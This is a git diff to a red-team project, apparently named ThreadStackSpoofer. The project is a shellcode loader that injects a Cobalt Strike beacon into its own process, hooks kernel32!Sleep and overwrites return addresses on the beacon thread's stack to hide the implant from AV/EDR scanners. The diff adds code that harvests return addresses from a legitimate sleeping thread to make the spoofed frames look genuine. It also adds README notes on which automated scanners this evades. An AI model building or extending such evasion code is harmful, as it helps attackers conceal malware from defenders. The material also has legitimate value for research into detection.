diff --git a/README.md b/README.md
index b2807ef..d952f46 100644
--- a/README.md
+++ b/README.md
@@ -12,9 +12,6 @@ Especially demonstrated in this video:
[Nighthawk - Thread Stack Spoofing](https://vimeo.com/581861665)
-**A note on wording** - some may argue that the technique presented in this implementation is not strictly **_Thread Stack Spoofing_** but rather _Call Stack Spoofing_ to some extent.
-I myself believe, that whatever wording is used here, the outcome remains similar to what was presented in an originally named technique - thus the borrowed name for this code. Since we're clobbering some pointers on the thread's stack, wouldn't we call it spoofing the stack anyway and ultimatley still resort to - _Thread Stack Spoofing_? The answer is left to the reader.
-
## How it works?
This program performs self-injection shellcode (roughly via classic `VirtualAlloc` + `memcpy` + `CreateThread`).
@@ -49,6 +46,17 @@ _(the above image was borrowed from **Eli Bendersky's** post named [Stack frame
This precise logic is provided by `walkCallStack` and `spoofCallStack` functions in `main.cpp`.
+## Actually this is not (yet) a true stack spoofing
+
+As it's been pointed out to me, the technique here is not _yet_ truely holding up to its name for being _stack spoofer_. Since we're merely overwriting return addresses on the thread's stack, we're not spoofing the rest part of the stack itself and also, in its current form, where we leave a sequence of `::CreateFileW` addresses acting as an example, we're making the stack non-unwindable. Meaning, the stack looks rather odd at first sight.
+
+However I'm aware of this fact, at the moment I've left it as is since I cared mostly about automated scanners that could iterate over processes, enumerate their threads, walk those threads stacks and pick up on any return address pointing back to a non-image memory (such as `SEC_PRIVATE` - the one allocated dynamically by `VirtuaAlloc` and friends). A focused malware analyst would immediately spot the oddity and consider the thread rather unusual, hunting down our implant. More than sure about it. Yet, I don't believe that nowadays automated scanners such as AV/EDR have sorts of heuristics implemented that would _actually walk each thread's stack_ to verify whether its un-windable.
+
+Surely with this project (and commercial implemention found in C2 frameworks) AV & EDR vendors have now received arguments to consider implementing these heuristics.
+
+The research on this subject is not yet finished and hopefully will result in better quality Stack Spoofing in upcoming days. Nonetheless, I'm releasing what I got so far, to sparkle inspirations and interest community into better researching this area.
+
+
## How do I use it?
Look at the code and its implementation, understand the concept and re-implement the concept within your own Shellcode Loaders that you utilise to deliver your Red Team engagements.
@@ -159,7 +167,7 @@ If our callback is not called, the thread will be unable to spoof its own call s
If that's what you want to have, than you might need to run another, watchdog thread, making sure that the Beacons thread will get spoofed whenever it sleeps.
-If you're using Cobalt Strike and a BOF `unhook-bof` by Raphael's Mudge, be sure to check out my [Pull Request](https://github.com/rsmudge/unhook-bof/pull/2) that adds optional parameter to the BOF specifying libraries that should not be unhooked.
+If you're using Cobalt Strike and a BOF `unhook-bof` by Raphael's Mudge, be sure to check out my [Pull Request](https://github.com/Cobalt-Strike/unhook-bof/pull/1) that adds optional parameter to the BOF specifying libraries that should not be unhooked.
This way you can maintain your hooks in kernel32:
diff --git a/ThreadStackSpoofer/ThreadStackSpoofer.vcxproj.user b/ThreadStackSpoofer/ThreadStackSpoofer.vcxproj.user
index 8673b85..9ab7f73 100644
--- a/ThreadStackSpoofer/ThreadStackSpoofer.vcxproj.user
+++ b/ThreadStackSpoofer/ThreadStackSpoofer.vcxproj.user
@@ -1,7 +1,7 @@
- d:\dev2\ThreadStackSpoofer\ThreadStackSpoofer\x64\Debug\beacon64.bin
+ d:\dev2\ThreadStackSpoofer\tests\beacon64.bin 1
WindowsLocalDebugger
\ No newline at end of file
diff --git a/ThreadStackSpoofer/header.h b/ThreadStackSpoofer/header.h
index 4c80b4e..961d13a 100644
--- a/ThreadStackSpoofer/header.h
+++ b/ThreadStackSpoofer/header.h
@@ -51,7 +51,9 @@ struct StackTraceSpoofingMetadata
LPVOID pSymGetModuleBase64;
bool initialized;
CallStackFrame spoofedFrame[MaxStackFramesToSpoof];
+ CallStackFrame mimicFrame[MaxStackFramesToSpoof];
size_t spoofedFrames;
+ size_t mimickedFrames;
};
struct HookedSleep
@@ -87,7 +89,7 @@ static const DWORD Shellcode_Memory_Protection = PAGE_EXECUTE_READ;
bool hookSleep();
bool injectShellcode(std::vector& shellcode);
bool readShellcode(const char* path, std::vector& shellcode);
-void walkCallStack(HANDLE hThread, CallStackFrame* frames, size_t maxFrames, size_t* numOfFrames, bool onlyBeaconFrames = false);
+void walkCallStack(HANDLE hThread, CallStackFrame* frames, size_t maxFrames, size_t* numOfFrames, bool onlyBeaconFrames, size_t framesToPreserve = Frames_To_Preserve);
bool initStackSpoofing();
bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, HookTrampolineBuffers* buffers = NULL);
void spoofCallStack(bool overwriteOrRestore);
diff --git a/ThreadStackSpoofer/main.cpp b/ThreadStackSpoofer/main.cpp
index dc5c09d..bb960f8 100644
--- a/ThreadStackSpoofer/main.cpp
+++ b/ThreadStackSpoofer/main.cpp
@@ -112,7 +112,7 @@ bool hookSleep()
return true;
}
-void walkCallStack(HANDLE hThread, CallStackFrame* frames, size_t maxFrames, size_t* numOfFrames, bool onlyBeaconFrames /*= false*/)
+void walkCallStack(HANDLE hThread, CallStackFrame* frames, size_t maxFrames, size_t* numOfFrames, bool onlyBeaconFrames, size_t framesToPreserve)
{
CONTEXT c = { 0 };
STACKFRAME64 s = { 0 };
@@ -217,7 +217,7 @@ void walkCallStack(HANDLE hThread, CallStackFrame* frames, size_t maxFrames, siz
// Skip first two frames as they most likely link back to our callers - and thus we can't spoof them:
// MySleep(...) -> spoofCallStack(...) -> ...
//
- if (Frame < Frames_To_Preserve)
+ if (Frame < framesToPreserve)
continue;
bool skipFrame = false;
@@ -267,14 +267,23 @@ void spoofCallStack(bool overwriteOrRestore)
{
for (size_t i = 0; i < numOfFrames; i++)
{
+ if (i > g_stackTraceSpoofing.mimickedFrames)
+ {
+ CallStackFrame frame = { 0 };
+ g_stackTraceSpoofing.spoofedFrame[g_stackTraceSpoofing.spoofedFrames++] = frame;
+ break;
+ }
+
auto& frame = frames[i];
+ auto& mimicframe = g_stackTraceSpoofing.mimicFrame[i];
if (g_stackTraceSpoofing.spoofedFrames < MaxStackFramesToSpoof)
{
//
// We will use CreateFileW as a fake return address to place onto the thread's frame on stack.
//
- frame.overwriteWhat = (ULONG_PTR)::CreateFileW;
+ //frame.overwriteWhat = (ULONG_PTR)::CreateFileW;
+ frame.overwriteWhat = (ULONG_PTR)mimicframe.retAddr;
//
// We're saving original frame to later use it for call stack restoration.
@@ -445,6 +454,40 @@ bool injectShellcode(std::vector& shellcode, HandlePtr &thread)
return (NULL != thread.get());
}
+/*
+void _acquireLegitimateThreadStack(LPVOID param)
+{
+ ULONG_PTR lowLimit = 0, highLimit = 0;
+ ULONG stackSize = highLimit - lowLimit;
+ GetCurrentThreadStackLimits(&lowLimit, &highLimit);
+
+ g_stackTraceSpoofing.legitimateStackContents.resize(stackSize, 0);
+ memcpy(g_stackTraceSpoofing.legitimateStackContents.data(), (const void*)lowLimit, stackSize);
+}
+*/
+
+bool acquireLegitimateThreadStack()
+{
+ CallStackFrame frames[MaxStackFramesToSpoof] = { 0 };
+ size_t numOfFrames = 0;
+
+ HandlePtr secondThread(::CreateThread(
+ NULL,
+ 0,
+ (LPTHREAD_START_ROUTINE)::Sleep,
+ (LPVOID)INFINITE,
+ 0,
+ 0
+ ), &::CloseHandle);
+
+ Sleep(1000);
+
+ walkCallStack(secondThread.get(), g_stackTraceSpoofing.mimicFrame, _countof(g_stackTraceSpoofing.mimicFrame), &g_stackTraceSpoofing.mimickedFrames, false, 0);
+
+ return g_stackTraceSpoofing.mimickedFrames > 0;
+}
+
+
int main(int argc, char** argv)
{
if (argc < 3)
@@ -472,6 +515,12 @@ int main(int argc, char** argv)
return 1;
}
+ if (!acquireLegitimateThreadStack())
+ {
+ log("[!] Could not acquire legitimate thread's stack.");
+ return 1;
+ }
+
log("[.] Hooking kernel32!Sleep...");
if (!hookSleep())
{